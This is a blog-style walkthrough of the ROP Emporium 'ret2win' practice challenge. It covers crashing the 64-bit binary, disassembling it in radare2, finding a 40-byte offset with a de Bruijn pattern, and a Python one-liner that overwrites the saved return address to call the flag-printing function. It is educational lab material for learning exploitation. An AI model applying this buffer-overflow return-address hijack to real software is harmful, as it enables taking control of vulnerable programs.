ROP Emporium | ret2win Solution

Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.

The binary and challenge description can be found here:
https://ropemporium.com/challenge/ret2win.html

It states that the objective is to call a magic method.

Let’s download the binary and run the program to see what it’s looking for:

andrew ~ $ wget --quiet https://ropemporium.com/binary/ret2win.zip

andrew ~ $ unzip ret2win.zip
Archive:  ret2win.zip
  inflating: ret2win
 extracting: flag.txt

andrew ~ $ ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> hfjdsl

Exiting

It looks like the buffer is 32 bytes long. Let’s verify that by trying to cause a segfault:

andrew ~ $ sudo dmesg -C

andrew ~ $ python2 -c 'print "A"*45' | ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault (core dumped)

andrew ~ $ dmesg -t
ret2win[70883]: segfault at a4141414141 ip 00000a4141414141 sp 00007ffce8c2c410 error 14 in libc-2.29.so[7f7a75623000+25000]
Code: Bad RIP value.
...

Using the hint on the ret2win page, I used dmesg -t to verify that the saved return pointer was overwritten. Now that I know how to control the flow of execution I need to see which “method” to call. The objective of any of these challenges is to retrieve the contents of flag.txt. Let’s look for this “magic method” that might help us with that. I can list all of the functions with the afl command:

andrew ~ $ r2 ret2win 

[0x00400650]> aa
[Cannot analyze at 0x00400640g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)

[0x00400650]> afl
0x00400650    1 41           entry0
0x00400610    1 6            sym.imp.__libc_start_main
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           entry.fini0
0x00400720    4 38   -> 35   entry.init0
0x004007b5    1 92           sym.pwnme
0x00400600    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.puts
0x004005f0    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400811    1 32           sym.ret2win
0x004005e0    1 6            sym.imp.system
0x004008b0    1 2            sym.__libc_csu_fini
0x004008b4    1 9            sym._fini
0x00400840    4 101          sym.__libc_csu_init
0x00400746    1 111          main
0x00400630    1 6            sym.imp.setvbuf
0x004005a0    3 26           sym._init

When you see sym. before something else in radare2, that’s indicating that it’s a symbol. Symbols are identified items, like functions and variables. Ignoring all the imports and other junk, we’re left with 3 functions:

0x004007b5    1 92           sym.pwnme
0x00400811    1 32           sym.ret2win
0x00400746    1 111          main

Obviously, we don’t need to call main() again, but let’s take a look at the disassembly for that:

[0x00400650]> pdf @ main
┌ (fcn) main 111
│   int main (int argc, char **argv, char **envp);
│           ; DATA XREF from entry0 @ 0x40066d
│           0x00400746      push rbp
│           0x00400747      mov rbp, rsp
│           0x0040074a      mov rax, qword [obj.stdout]                ; obj.__TMC_END
│                                                                      ; [0x601060:8]=0
│           0x00400751      mov ecx, 0
│           0x00400756      mov edx, 2
│           0x0040075b      mov esi, 0
│           0x00400760      mov rdi, rax
│           0x00400763      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x00400768      mov rax, qword [obj.stderr]                ; obj.stderr__GLIBC_2.2.5
│                                                                      ; [0x601080:8]=0
│           0x0040076f      mov ecx, 0
│           0x00400774      mov edx, 2
│           0x00400779      mov esi, 0
│           0x0040077e      mov rdi, rax
│           0x00400781      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x00400786      mov edi, str.ret2win_by_ROP_Emporium       ; 0x4008c8 ; "ret2win by ROP Emporium"
│           0x0040078b      call sym.imp.puts                          ; int puts(const char *s)
│           0x00400790      mov edi, str.64bits                        ; 0x4008e0 ; "64bits\n"
│           0x00400795      call sym.imp.puts                          ; int puts(const char *s)
│           0x0040079a      mov eax, 0
│           0x0040079f      call sym.pwnme
│           0x004007a4      mov edi, str.Exiting                       ; 0x4008e8 ; "\nExiting"
│           0x004007a9      call sym.imp.puts                          ; int puts(const char *s)
│           0x004007ae      mov eax, 0
│           0x004007b3      pop rbp
└           0x004007b4      ret

I had to use the seek command to move to the main() function before using the print disassembly function command. If you focus on the calls, you’ll see that it calls several imported functions as well as pwnme(). However, it doesn’t call the ret2win() function. Let’s take a look at that one:

[0x00400650]> pdf @ sym.ret2win
┌ (fcn) sym.ret2win 32
│   sym.ret2win ();
│           0x00400811      push rbp
│           0x00400812      mov rbp, rsp
│           0x00400815      mov edi, str.Thank_you__Here_s_your_flag:  ; 0x4009e0 ; "Thank you! Here's your flag:"
│           0x0040081a      mov eax, 0
│           0x0040081f      call sym.imp.printf                        ; int printf(const char *format)
│           0x00400824      mov edi, str.bin_cat_flag.txt              ; 0x4009fd ; "/bin/cat flag.txt"
│           0x00400829      call sym.imp.system                        ; int system(const char *string)
│           0x0040082e      nop
│           0x0040082f      pop rbp
└           0x00400830      ret

Here, radare2 makes it nice & easy to see that this function will cat flag.txt. Now I just need to overwrite the saved return address pointer with this function’s address (0x400811).

I’ll be using a tool in the radare2 framework, called ragg2 that can create a debruijn pattern to figure out how far after the start of the buffer the saved return address is.

andrew ~ $ ragg2 -P 45 -r > pattern.txt

andrew ~ $ cat pattern.txt 
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAA

andrew ~ $ vim profile.rr2

andrew ~ $ cat profile.rr2 
#!/usr/bin/rarun2
stdin=pattern.txt

andrew ~ $ r2 -r profile.rr2 -d ret2win 
Process with PID 93862 started...
= attach 93862 93862
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
Continue until 0x00400746 using 1 bpsize
hit breakpoint at: 400746

[0x00400746]> dc
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41414f4141 code=1 ret=0

[0x41414f4141]> wopO $(dr rip)
40

Here’s what’s going on here:

  • Created the pattern with ragg2 and saved it to a text file
  • Created profile.rr2 to tell radare2 that “pattern.txt” should be used for stdin when running a program
  • radare2 is run in debug mode and specified the profile.rr2 file as the rarun2 profile
  • Used the debug continue command to continue execution
  • Used the write out pattern at Offset command and a little Bash command substitution to get the register value of RIP

Now that I have the offset (40 bytes), I can build my exploit:

andrew ~ $ python3 -c 'print("A"*40 + "\x11\x08\x40", end="")' | ./ret2win
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}

While this particular challenge didn’t really involve return oriented programming, it’s still a good place to start, especially with learning a new tool like radare2.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.